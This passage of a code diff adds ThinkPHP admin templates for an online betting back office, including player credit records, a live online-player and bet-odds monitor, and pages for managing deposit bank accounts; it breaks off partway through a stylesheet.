{$recharge.new_money}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls" style="position:relative;">
|
||||
{$recharge.remake}
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<a href="/player/scores">
|
||||
<div class='pass_back'>返回</div>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="scores-id" value="{$recharge.id}">
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,11 @@
|
||||
<ul class="tree">
|
||||
{foreach name="$agent_list" item="vo" key="k"}
|
||||
<li class="<?php if($k == 0) echo 'first'; ?> tree-li" data-id="{$vo.id}">
|
||||
<span class="agent_name_box">
|
||||
<i class="iconfont" style="font-size:13px;"></i>
|
||||
<span>{$vo.username}</span>
|
||||
</span>
|
||||
|
||||
</li>
|
||||
{/foreach}
|
||||
</ul>
|
||||
@@ -0,0 +1,44 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">玩家上下分记录列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">账号</th>
|
||||
<th style="text-align: center;">联系人</th>
|
||||
<th style="text-align: center;">代理类型</th>
|
||||
<th style="text-align: center;">操作类型</th>
|
||||
<th style="text-align: center;">操作金额</th>
|
||||
<th style="text-align: center;">操作人</th>
|
||||
<th style="text-align: center;">余额</th>
|
||||
<th style="text-align: center;">操作时间</th>
|
||||
<th style="text-align: center;">备注</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="scoresList" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username_for}</td>
|
||||
<td>{$vo.nickname_for}</td>
|
||||
<td>{$vo.user_agent_level}</td>
|
||||
{if condition="$vo.mode == 1"}
|
||||
<td>{$vo.mode_msg}</td>
|
||||
<td>{$vo.amount}</td>
|
||||
{else}
|
||||
<td>{$vo.mode_msg}</td>
|
||||
<td>{$vo.amount}</td>
|
||||
{/if}
|
||||
<td>{$vo.admin_user_name}</td>
|
||||
<td>{$vo.new_money}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,249 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:80px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:600px; min-height:150px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert .alert-main{width:600px;height:200px;overflow-y: scroll;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.alert-main th{width:40%; border-left:none; text-align:right;}
|
||||
.alert-main td{border-right:none; }
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
|
||||
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">实时数据</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/user_online" method="get">
|
||||
<div class="layui-input-block" >
|
||||
<select name="table_id" id="table_id">
|
||||
<option value="-1" selected>请选择桌子</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<div class="layui-form-item" style="margin-bottom: 0px;">
|
||||
<label class="layui-form-label">只看未开</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="radio" class="is_under" name="is_under" value="1" title="是" <?php if(isset($get['is_under']) && $get['is_under'] == 1) {echo 'checked';} ?>>
|
||||
<input type="radio" class="is_under" name="is_under" value="0" title="否" <?php if(isset($get['is_under']) && $get['is_under'] == 0) {echo 'checked';} ?>>
|
||||
</div>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
|
||||
<!-- <span class="layui-btn" id="export">导出excel</span>
|
||||
<span class="layui-btn" id="print">打印</span> -->
|
||||
<span style="margin-left:20px;color:red;">数据标红则疑似对打</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>账号</th>
|
||||
<th>登录客户端</th>
|
||||
<th>登录IP</th>
|
||||
<th>总押</th>
|
||||
<th>总赢</th>
|
||||
<th>当前余额</th>
|
||||
<th>下注详情</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody class="ttable">
|
||||
{foreach name="$user_online" item="vo"}
|
||||
{if $vo.is_beat == 1}
|
||||
<tr class="refreshData" style="background:red;">
|
||||
{else}
|
||||
<tr class="refreshData">
|
||||
{/if}
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.client}</td>
|
||||
<td>{$vo.last_login_ip}</td>
|
||||
<td>{$vo.amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>
|
||||
{$vo.bet_detail_first.bet_detail}
|
||||
{if condition="$vo.bet_detail_count > 1"}
|
||||
<a href="javascript:;" onclick="showBetDetail(this)" data-username="{$vo.username}" data-bet_detail={$vo.bet_detail}><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a>
|
||||
{/if}
|
||||
</td>
|
||||
<td>
|
||||
<a href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout({$vo.user_id})">强制下线</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<tr class="refreshData">
|
||||
<th colspan="3" style="text-align: center;">统计</th>
|
||||
<th>{$totalData.amount}</th>
|
||||
<th>{$totalData.win_total}</th>
|
||||
<th colspan="3"></th>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<audio id="audio" hidden></audio>
|
||||
<div class="alert" id="alert_bet_detail">
|
||||
<div class="alert-title" id="show_username"></div>
|
||||
<div class="alert-main">
|
||||
<table class="layui-table" style="margin:0;">
|
||||
<tr><th>押庄赔率:</th><td id="show_price_banker"></td></tr>
|
||||
<tr><th>押闲赔率:</th><td id="show_price_player"></td></tr>
|
||||
<tr><th>押和赔率(百家乐):</th><td id="show_price_tie_baccarat"></td></tr>
|
||||
<tr><th>押对子赔率:</th><td id="show_price_pair"></td></tr>
|
||||
<tr><th>押龙赔率:</th><td id="show_price_dragon"></td></tr>
|
||||
<tr><th>押虎赔率:</th><td id="show_price_tiger"></td></tr>
|
||||
<tr><th>押和赔率(龙虎斗):</th><td id="show_price_tie_dt"></td></tr>
|
||||
<tr><th>押牛7-牛9赔率:</th><td id="show_price_n7_n9"></td></tr>
|
||||
<tr><th>押牛牛赔率:</th><td id="show_price_nn"></td></tr>
|
||||
<tr><th>押五公赔率:</th><td id="show_price_5n"></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="hideBetDetail()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
var b = {$betIdArrJson};
|
||||
var bt = {$betIdDtArrJson};
|
||||
autoRefresh();
|
||||
function autoRefresh(){
|
||||
setInterval(function(){
|
||||
var username = $('#username').val();
|
||||
var table_id = $('#table_id').val();
|
||||
var is_under = $('.is_under:checked').val();
|
||||
$.ajax({
|
||||
url:'/player/user_online_autoRefresh',
|
||||
data:{username:username,table_id:table_id,is_under:is_under},
|
||||
dataType:'JSON',
|
||||
type:'POST',
|
||||
success:function(data){
|
||||
// 声音
|
||||
if(data.is_new == true){
|
||||
audioShow();
|
||||
}
|
||||
if(data.user_online){
|
||||
var total = data.totalData;
|
||||
var v = data.user_online;
|
||||
b = data.betIdArr;
|
||||
bt = data.betIdDtArr;
|
||||
var str = "";
|
||||
for(var i=0; i<v.length; i++){
|
||||
if(v[i]['is_beat'] == 1){
|
||||
str += '<tr class="refreshData" style="background:red;">';
|
||||
}else{
|
||||
str += '<tr class="refreshData">';
|
||||
}
|
||||
str += '<td>'+v[i].username+'</td>';
|
||||
str += '<td>'+v[i].client+'</td>';
|
||||
str += '<td>'+v[i].last_login_ip+'</td>';
|
||||
str += '<td>'+v[i].amount+'</td>';
|
||||
str += '<td>'+v[i].win_total+'</td>';
|
||||
str += '<td>'+v[i].money+'</td>';
|
||||
str += '<td>'+v[i].bet_detail_first.bet_detail;
|
||||
if(v[i].bet_detail_count > 1){
|
||||
str += '<a href="javascript:;" onclick="showBetDetail(this)" data-username="'+v[i].username+'" data-bet_detail='+JSON.stringify(v[i].bet_detail)+'><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">更多</span></a></td>';
|
||||
}else{
|
||||
str += '</td>';
|
||||
}
|
||||
str += '<td><a href="javascript:;"><span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" onclick="logout('+v[i].user_id+')">强制下线</span></a> </td>';
|
||||
str += '</tr>';
|
||||
}
|
||||
str += '<tr class="refreshData">';
|
||||
str += '<th colspan="3" style="text-align: center;">统计</th>';
|
||||
str += '<th>'+total.amount+'</th>';
|
||||
str += '<th>'+total.win_total+'</th>';
|
||||
str += '<th colspan="3"></th>';
|
||||
str += '</tr>';
|
||||
|
||||
$('.refreshData').remove();
|
||||
$('.ttable').append(str);
|
||||
}
|
||||
}
|
||||
});
|
||||
},5000);
|
||||
}
|
||||
|
||||
function showBetDetail(obj){
|
||||
var username = $(obj).attr('data-username');
|
||||
var bet_detail = $(obj).attr('data-bet_detail');
|
||||
var v = JSON.parse(bet_detail);
|
||||
var str = '';
|
||||
console.log(v)
|
||||
console.log(b.indexOf(47))
|
||||
for(var i in v){
|
||||
|
||||
if(v[i]['game_id'] == 1 && b.includes(v[i]['bet_id'])){
|
||||
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
|
||||
}else if(v[i]['game_id'] == 2 && bt.includes(v[i]['bet_id'])){
|
||||
str += '<tr style="background:red;"><td>'+ v[i]['bet_detail'] +'</td></tr>';
|
||||
}else{
|
||||
str += '<tr><td>'+ v[i]['bet_detail'] +'</td></tr>';
|
||||
}
|
||||
}
|
||||
$('#show_username').html(username);
|
||||
$('#alert_bet_detail').find('.layui-table').empty().html(str);
|
||||
$('#alert_bet_detail').show();
|
||||
}
|
||||
function hideBetDetail(){
|
||||
$('#alert_bet_detail').hide();
|
||||
}
|
||||
|
||||
// 踢人
|
||||
function logout(id){
|
||||
layer.confirm('确定强制该玩家下线吗?',function(){
|
||||
$.ajax({
|
||||
url:'/player/logout',
|
||||
data:{user_id:id},
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
success:function(data){
|
||||
layer.alert(data.msg,function(){
|
||||
location.reload();
|
||||
})
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// 新客人上线声音
|
||||
function audioShow(){
|
||||
var audio = $("#audio").get(0);
|
||||
var audioPath = '/static/console/mp3/welcome.mp3';
|
||||
$('#audio').attr('src',audioPath);
|
||||
audio.play();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,26 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>网投系统</title>
|
||||
<meta name="renderer" content="webkit">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/css/font.css">
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/css/xadmin.css">
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/jquery-3.3.1.min.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/xadmin.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/jQuery.print.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/js/img_upload.js"></script>
|
||||
<!-- 让IE8/9支持媒体查询,从而兼容栅格 -->
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://cdn.staticfile.org/html5shiv/r29/html5.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/respond.js/1.4.2/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>
|
||||
th,td{text-align: center !important;}
|
||||
a.relation{text-decoration:underline;}
|
||||
a.relation:hover{text-decoration:underline;color:#3daae9}
|
||||
</style>
|
||||
</head>
|
||||
@@ -0,0 +1,236 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:400px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.add_input{padding: 10px; font-size: 14px;text-align: center;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">收款银行列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">收款二维码列表</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="layui-row">
|
||||
<span class="layui-btn" style="margin-left: 20px;" onclick="showAdd()">添加</span>
|
||||
</div>
|
||||
<div class="x-body">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>收款人姓名</th>
|
||||
<th>收款银行</th>
|
||||
<th>收款银行账号</th>
|
||||
<th>状态</th>
|
||||
<th>创建时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="recharge_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.receivables_name}</td>
|
||||
<td>{$vo.receivables_bank}</td>
|
||||
<td>{$vo.receivables_bank_number}</td>
|
||||
<td>{$vo.is_use}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>
|
||||
<a href="javascript:;" onclick="edit_bank(this)" receivables_id="{$vo.id}" receivables_name="{$vo.receivables_name}" receivables_bank="{$vo.receivables_bank}" receivables_bank_number="{$vo.receivables_bank_number}" status="{$vo.status}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >修改</span>
|
||||
</a>
|
||||
</td>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$recharge_list->render()}
|
||||
</div>
|
||||
<div class="alert" id="alert_add">
|
||||
<div class="alert-title">添加收款银行卡</div>
|
||||
<div class="alert-main">
|
||||
<div class="add_input">收款人姓名:<input id="receivables_name" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">收款人银行:<input id="receivables_bank" name="receivables_bank" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">收款人卡号:<input id="receivables_cardnum" name="receivables_cardnum" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">是否启用: <input name="is_use" class="required is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked><span>是</span>
|
||||
<input name="is_use" class="required is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_add_bank()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="alert" id="alert_edit">
|
||||
<div class="alert-title">修改收款银行卡</div>
|
||||
<div class="alert-main">
|
||||
<input type="hidden" id="edit_receivables_id" value="">
|
||||
<div class="add_input">收款人姓名:<input id="edit_receivables_name" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">收款人银行:<input id="edit_receivables_bank" name="receivables_bank" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">收款人卡号:<input id="edit_receivables_cardnum" name="receivables_cardnum" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">是否启用: <input name="edit_is_use" class="required edit_is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;"><span>是</span>
|
||||
<input name="edit_is_use" class="required edit_is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_edit_bank()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_edit')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/recharge/index';
|
||||
if(id == "2") location.href = '/recharge/qr_code';
|
||||
});
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
// 显示用户的赔率
|
||||
function showAdd(){
|
||||
$('#alert_add').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#receivables_name').val('');
|
||||
$('#receivables_bank').val('');
|
||||
$('#receivables_cardnum').val('');
|
||||
$('#' + id).hide();
|
||||
}
|
||||
function do_add_bank(){
|
||||
var query = new Object();
|
||||
query.receivables_name = $('#receivables_name').val();
|
||||
query.receivables_bank = $('#receivables_bank').val();
|
||||
query.receivables_cardnum = $('#receivables_cardnum').val();
|
||||
query.is_use = $('.is_use:checked').val();
|
||||
if(query.receivables_name.length == 0){
|
||||
layer.alert("请填写收款人姓名!");
|
||||
return false;
|
||||
}
|
||||
if(query.receivables_bank.length == 0){
|
||||
layer.alert("请填写收款银行!");
|
||||
return false;
|
||||
}
|
||||
if(query.receivables_cardnum.length == 0){
|
||||
layer.alert("请填写收款人卡号!");
|
||||
return false;
|
||||
}
|
||||
if(query.is_use.length == 0){
|
||||
layer.alert("请选择收款银行卡状态!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/recharge/do_add_bank',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/recharge/index";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
|
||||
}
|
||||
function edit_bank(obj){
|
||||
$('input:radio[name="edit_is_use"]').removeAttr('checked');
|
||||
var receivables_name = $(obj).attr('receivables_name');
|
||||
var receivables_bank = $(obj).attr('receivables_bank');
|
||||
var receivables_bank_number = $(obj).attr('receivables_bank_number');
|
||||
var receivables_id = $(obj).attr('receivables_id');
|
||||
var status = $(obj).attr('status');
|
||||
$('#edit_receivables_id').val(receivables_id);
|
||||
$('#edit_receivables_name').val(receivables_name);
|
||||
$('#edit_receivables_bank').val(receivables_bank);
|
||||
$('#edit_receivables_cardnum').val(receivables_bank_number);
|
||||
if(status == 1){
|
||||
$("input[name='edit_is_use'][value=1]").attr("checked",true);
|
||||
$("input[name='edit_is_use'][value=0]").removeAttr("checked");
|
||||
}else{
|
||||
$("input[name='edit_is_use'][value=0]").attr("checked",true);
|
||||
$("input[name='edit_is_use'][value=1]").removeAttr("checked");
|
||||
}
|
||||
$('#alert_edit').show();
|
||||
}
|
||||
function do_edit_bank(){
|
||||
var query = new Object();
|
||||
query.receivables_id = $('#edit_receivables_id').val();
|
||||
query.receivables_name = $('#edit_receivables_name').val();
|
||||
query.receivables_bank = $('#edit_receivables_bank').val();
|
||||
query.receivables_cardnum = $('#edit_receivables_cardnum').val();
|
||||
query.is_use = $('.edit_is_use:checked').val();
|
||||
if(query.receivables_name.length == 0){
|
||||
layer.alert("请填写收款人姓名!");
|
||||
return false;
|
||||
}
|
||||
if(query.receivables_bank.length == 0){
|
||||
layer.alert("请填写收款银行!");
|
||||
return false;
|
||||
}
|
||||
if(query.receivables_cardnum.length == 0){
|
||||
layer.alert("请填写收款人卡号!");
|
||||
return false;
|
||||
}
|
||||
if(query.is_use.length == 0){
|
||||
layer.alert("请选择收款银行卡状态!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/recharge/do_edit_bank',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/recharge/index";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,269 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:400px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.add_input{padding: 10px; font-size: 14px;text-align: center;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
.save {background: #fff;width: 185px; overflow-y: hidden; margin: 0 auto;padding:20px 0;}
|
||||
.save .upload {margin:0 auto; }
|
||||
.clearfix {zoom: 1; }
|
||||
.save .upload .upload_btn_item {width: 180px; height: 112px; background: url({$Think.ADMIN_STATIC_DOMAIN}/static/admin/images/upload-bg.jpg) no-repeat; float: left; -webkit-background-size: 100%; background-size: 100%; /* margin-right: 0.2rem; margin-bottom: 0.2rem;*/ position: relative; }
|
||||
.save .title{
|
||||
text-align: center;
|
||||
font-size: 16px;
|
||||
}
|
||||
.save .upload .upload_btn {position: absolute; z-index: 1; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); }
|
||||
.save .upload .img-box .item_file{width:180px; height: 112px; float: left; -webkit-background-size: cover; background-size: cover;position: relative; z-index: 1; }
|
||||
.save .upload .upload_btn{position: absolute; z-index: 1; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); }
|
||||
.save .upload .uploader_bg:before {content: " "; position: absolute; top: 0; right: 0; bottom: 0; left: 0; background: url({$Think.ADMIN_STATIC_DOMAIN}/static/admin/images/login.gif) rgba(0, 0, 0, 0.5) center center no-repeat; -webkit-background-size: 30px 30px; background-size: 30px 30px; }
|
||||
.save .upload .error{position: absolute; top: 0; left: 0; z-index: 99; width:100%; height: 100%; line-height: 28px; rgba(0, 0, 0, 0.5) center center no-repeat; -webkit-background-size: 30px 30px; background-size: 30px 30px; }
|
||||
.save .upload .upload_btn_item.login-img:before{content: ""; background: url({$Think.ADMIN_STATIC_DOMAIN}/static/admin/images/login.gif) no-repeat center center; -webkit-background-size: 40px 40px; background-size: 40px 40px; position: absolute; z-index: 99; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); pointer-events:none; }
|
||||
